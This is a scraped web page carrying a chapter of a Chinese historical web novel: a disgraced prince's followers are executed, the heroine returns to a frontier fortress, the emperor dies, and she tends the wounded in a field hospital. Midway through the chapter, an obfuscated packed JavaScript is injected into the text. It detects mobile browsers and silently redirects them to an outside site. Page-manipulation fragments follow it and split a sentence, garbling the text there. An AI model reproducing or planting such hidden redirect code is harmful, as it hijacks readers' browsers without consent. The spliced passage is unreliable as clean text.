默认冷灰
24号文字
方正启体

83. 帝崩

作者:南曲好茗本书字数:K更新时间:
    赵籍病重不起,赵允祯代掌朝政。


    赵允祯今日朝堂上宣判:经月余详查,四皇子赵允珩勾结勒师国、意图出卖京城城防图一事,证据确凿。即日起,赵允珩革去所有封号,终身幽禁。其府中所有仆从、部属及一应亲信,皆于今日午时,市口问斩,决不待时。


    消息很快传遍了整个京城。


    街巷之间,百姓交头接耳,低声议论着四皇子骤然倒台的事。有人唏嘘感叹,有人惶惶不安,更多的是沉默。曾经煊赫一时的四皇子府邸,如今朱门紧闭,朱红大门上贴着刺目的封条。


    朝堂之上,风向骤变。昔日曾依附赵允珩的官员们,纷纷上书表忠,字字铿锵地痛斥其“大逆不道”、“罪该万死”,唯恐动作稍慢一步,便会被卷入这场清算之中。


    而在深宫禁苑,赵蓁蓁的病榻前已再无人敢轻易靠近。静妃的宫殿亦是骤然冷清下来,往日里络绎不绝的请安人群消散无踪。


    午时三刻,刑场。


    萧懿安挤在熙攘的人群中,望向行刑台。


    台上跪着一排排身着囚衣的犯人,她一眼就看到了老五。他身上的囚衣早已被鞭子抽得破碎不堪,露出底下纵横交错的血痕。


    打麦不在其中——他是侥幸逃脱了,还是早已悄无声息地死在了某个角落?


    老五跪在刑台前沿,乱发间露出一双布满血丝的眼睛。他艰难地抬起头,目光竟穿透嘈杂人群,直直与萧懿安对上。


    他干裂的嘴唇微微颤抖,似乎想说什么,最终只是极轻地摇了摇头。


    萧懿安看清了他的口型,那是无声的两个字:“离开。”


    刽子手举起酒碗,含了一口烈酒,猛地喷在鬼头大刀上。酒水在惨白的日光下折射出刺眼寒光。做完这仪式,他提着刀走向老五。


    老五最后看了萧懿安一眼,下一刻,他猛地挺直脊背,用尽最后的力气嘶吼出声,声裂长空:


    "赵允祯这厮通敌叛国!反咬手足!灭绝人性——"


    刀光骤闪,血溅刑台。


    萧懿安闭上眼,吉叔憨厚的笑容、小七外冷内热的关心、老五爽朗的大笑,走马灯似的在黑暗中闪过。


    人群发出惊呼,随即又诡异地安静下来。她拂去脸上的泪水,转身离开,身后刽子手在骂骂咧咧地擦拭刀上的血迹。


    南宫,赵允珩站在昏暗的室内,听着远处隐约的钟声,那是行刑结束的信号。他缓缓闭上眼,慢慢跪下来,脚下的锁链随着他的动作发出声响。


    回萧府后,刚迈进院门,萧懿安就撞见了站在廊下的赵陵。


    “去哪了?”赵陵眉头微蹙,“如今形势骤变,外面不安全。”


    萧懿安张了张嘴,喉头却似被什么堵住,她忽然一头扑进赵陵怀里,放声嚎啕起来。


    赵陵身子一僵,显然不习惯这般亲昵,却也没推开她,手迟疑地抬起,最后轻轻拍了拍她的脑袋。


    萧懿安什么都没说,她也什么都没问。


    靖熙十五年正月十五,萧懿安与萧起再度回到铁壁关。


    赵籍的身体已经油尽灯枯了,算算时间,再过不久就要驾崩,赵允祯一上台就进行了大清算,萧懿安离开京城避避风头。


    她又回到了军营里那间小屋,还没坐下休息,就有人找上门。


    一拉开房门,竟是打麦!


    萧懿安眼眶泛红,还好,至少打麦还活着。


    几个月不见,打麦晒得更黑了,脸上还添了道新疤,一进门就急声问道:“小姐,京城究竟出了什么事?自你们离开后,我和老五便在军中苦等。可等了半个多月,老五伤都好利索了,京城却一点消息都没有,连我们送去的信也石沉大海。”他语气愈发急促,“后来老五实在坐不住,定要回京探个究竟,之后他只给我来过一封信,上头就五个字——”


    “‘再别回京城’。”


    萧懿安沉默片刻,终是将赵允珩倒台、麾下遭清算的事缓缓道出。当说到吉叔、小七、老五皆已惨死时,打麦猛地一拳砸在桌上。


    “狗日的赵允祯!我这就回去宰了他!”


    萧懿安道:“你回去也是白白送死!”


    打麦咬牙切齿:“难道殿下就这么白白被幽禁?吉叔他们……就这么白白死了?!”


    萧懿安没有回答,只是静默地看着他。


    是,这世道便是如此残酷,冤屈未必能伸,血仇未必得报。


    打麦胸膛剧烈起伏,最终重重地抹了把脸,哑声道:"接下来怎么办?"


    “等。”萧懿安的声音平静却坚定。


    “等什么?”


    “再等两年。打麦,你信我吗?”她目光灼灼,“只需再等两年,赵允祯必会遭报,他会死。”


    两年后,赵征的大军将踏破皇城,而赵允祯,会自行了断于地牢之中。


    他们没有小说电视剧里那样的金手指,无法自己亲手手刃仇人,但是无论如何,赵允祯死了,便够了。


    “好,小姐,我相信你。”


    萧懿安这才注意到,打麦身上穿的竟是铁壁关士兵的制式军服。她微微一怔,目光在他肩甲上的营徽停留片刻。


    打麦顺着她的视线低头看了看自己,扯了扯衣襟道:"小姐离京这些时日,狄将军把我收编入营了。"他语气里带着几分复杂,"如今我在狄将军麾下当差。"


    说到这儿,他声音低了下去:"再不能为四殿下效力了。"


    萧懿安轻声道:“这样也好。四殿下若知晓,定会为你欣慰的。”


    接连的变故与长途奔波终究拖垮了萧懿安的身体。回到铁壁关的第三日,她便发起了高热,昏昏沉沉地在榻上躺了整整七日。


    青艾姑娘每日都会准时前来送药照料。


    病稍好些的那日清晨,萧懿安去了医营。青艾正在里头低头整理药材,见她来了也不惊讶,只是顺手递过一包晒干的药草,语气如常道:“帮忙分拣一下。”


    自那以后,医营里便多了一个沉默寡言的帮手。萧懿安学得极快,不出三日已能独自清洗、包扎简单的外伤。青艾偶尔会停下手,站在她身后静静看上一会儿。


    萧起也没闲着,主动去了伙房帮工,他本就习武,臂力惊人,挽起袖子劈柴烧火自是不在话下。


    靖熙十五年二月初八,赵籍驾崩,消息快马加鞭飞了十日,二月十八传进了军营。


    消息传来当晚,萧从林独自伫立帐外,久久沉默,最终将一杯浊酒缓缓洒在地上,以作祭奠。


    接下来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245656|173244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的时日,边境冲突愈发频繁,勒师国大军压境,战事一触即发。


    医营之中,伤兵被源源不断地抬入。


    靖熙十五年五月初九,晚。


    烛火摇曳,萧从林盯着案几上摊开的奏折批复,眉头紧锁。


    一月前,他曾上书力陈边境危局:“边关烽火连日,将士浴血,然勒师负隅顽抗,我军虽勇,伤亡日增。今粮草不继,寒衣短缺。昔与勒师盟好廿载,互通婚嫁,边境晏然。今虽小衅,可遣使斡旋,暂息干戈,以待天时。若强驱疲师以逞兵威,恐损国本,寒将士之心。”


    今日批复快马加鞭送回来。


    狄青岩拾起奏折扫了一眼,额角青筋骤然暴起:“三个月就要压下来?他当勒师人是纸糊的不成?!粮草不够,饷银不发,拿什么打!”


    朱笔御批赫然在目——“勒师小国,不足为惧!经此一战,扬我国威。朕意已决,三月内必克其都。敢言和者,以叛国论!”


    帐内众将哗然。一个满脸刀疤的老将啐道:"先帝在时,哪会穷兵黩武!如今倒好,宫里修得金碧辉煌,前线弟兄们连顿饱饭都吃不上!"


    "皇命不可违,慎言。"萧从林疲惫地揉揉额角。


    萧懿安半跪在简易的木榻前,撕开一名伤兵染血的布条。箭矢贯穿了他的肩胛,血肉模糊。她指尖稳而快地清理创口,倒上烈酒冲洗。伤兵闷哼一声,冷汗涔涔,她低声道:"忍一忍。"


    她穿着粗布短打,腰间系着一条洗得发白的围裙,长发全束进麻布头巾里,脸上蒙着防尘的巾帕,只露出一双眼睛。


    "针线。"她头也不抬地伸手。


    一旁的学徒思秋立刻递过穿好羊肠线的弯针。萧懿安接过,指尖翻飞,伤口很快被缝合整齐。止血药粉撒上,白麻布缠绕包扎,一气呵成。


    "下一个。"她正要起身,眼前突然一阵发黑,身子晃了晃。


    青艾扶住她的手臂:"这里我来,你去歇会儿。"


    萧懿安点点头,没有逞强,摘下面巾走出医帐。


    外头的冷风迎面扑来,冲散了鼻腔里那股混杂着血腥与腐药的闷浊气味。她深深吸了一口气,胸腔里那股滞涩感才稍稍缓解。


    "师傅,喝水。"思秋小跑过来,捧着一碗清水,小姑娘不过十四岁,个头小脸上还带点婴儿肥,让她不由得想起阿暮。


    阿暮啊……


    萧懿安心中怅然,思秋又叫了她一声,萧懿安回过神来,接过碗,笑着道了声谢,仰头一口气喝干。


    "师傅别太拼了,您要是累倒了,我们可应付不来那些重伤的。"


    萧懿安抬手揉了揉酸胀的后颈,望向远处灰蒙蒙的天际:"做的时候不觉得累,等停下来,才发现身子已经到极限了。"


    思秋还想说什么,医帐内突然传来青艾的喊声:"思秋!拿止血散来!"


    小姑娘赶紧应了一声,匆匆跑回去。


    萧懿安闭了闭眼,待那阵眩晕过去,重新系上面巾,转身又走进了弥漫着血腥味的医帐。


    待最后一个伤兵包扎完毕,萧懿安才拖着疲惫的身子回到自己的营帐。她草草擦了把脸,连外衣都没脱,直接倒在了床铺上。


    几乎是头刚沾枕,她便沉沉睡去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)